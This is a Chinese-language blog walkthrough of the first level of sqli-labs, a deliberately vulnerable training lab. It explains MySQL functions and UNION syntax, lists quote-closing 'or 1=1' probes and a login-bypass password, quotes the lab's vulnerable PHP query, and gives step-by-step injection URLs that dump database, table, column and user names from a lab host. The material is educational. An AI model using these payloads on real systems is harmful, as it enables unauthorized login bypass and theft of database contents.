sqli-labs-master 第一关

Sql注入

基础知识:

一··系统函数;

1. version()——MySQL 版本

2. user()——数据库用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

二··字符串连接函数

  1. concat(str1,str2,...)——没有分隔符地连接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

三·一般尝试的语句

--+可以用#替换,url 提交过程中 Url 编码后的#为%23

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

一般代码为:

$id=$_GET[‘id’];

$sql=’SELECT * FROM users WHERE id =’$id’ LIMIT 0,1’;

此处考虑两个点,一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ ,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23)

四·union操作符介绍

  UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的 列的顺序必须相同。

  SQL UNION 语法

SELECT column_name(s) FROM table_name1

UNION

SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 SQL UNION ALL 语法

SELECT column_name(s) FROM table_name1

UNION ALL

SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

五·sql中的逻辑运算

  Select * from admin where username=’admin’ and password=’admin’

我们可以用 ’or 1=1# 作为密码输入

Select * from admin where username=’admin’ and password=’ ’or1=1#’

Password为假但or1=1为真

上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。 原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username=’admin’ and password=’’or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先 级大于 or 的元算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用 b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三 个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语 句就是恒真了。

①    Select * from users where id=1 and 1=1;

②Select * from users where id=1 && 1=1;

③Select * from users where id=1 & 1=1;

①和②是一样的,表达的意思是 id=1 条件和 1=1 条件进行与运算。

②    的意思是 id=1 条件与 1 进行&位操作, id=1 被当作 true,与 1 进行 & 运算 结果还是 1, 再进行=操作,1=1,还是 1(ps:&的优先级大于=) Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要 的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与 1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从 ascii 值反推回字符。(运用较少)

 

第一关:

http://192.168.65.130/sqli-labs-master/Less-1?id=1'or 1=1--+ limit 0,1

 

原代码:

$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

 

http://192.168.65.130/sqli-labs-master/Less-1?id=-1 'order by 4 --+

 

order by 3显示正常:

 

 

 

显示位:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(2),(3))--+

 

 

 

爆数据库:

http://192.168.65.130/sqli-labs-master/Less=-1?id=1'+UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+limit 0,1

 

 

 

 

 

 

 

 

 

 

 

 

 

爆表名:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+limit 0,1

 

 

爆裂名:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+limit 0,1

 

 

 

 

 

报数据:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(username),(3) from users where id=3) --+limit 0,1

 

posted @ 2019-10-12 11:11  wizard骑士  阅读(1196)  评论(0编辑  收藏  举报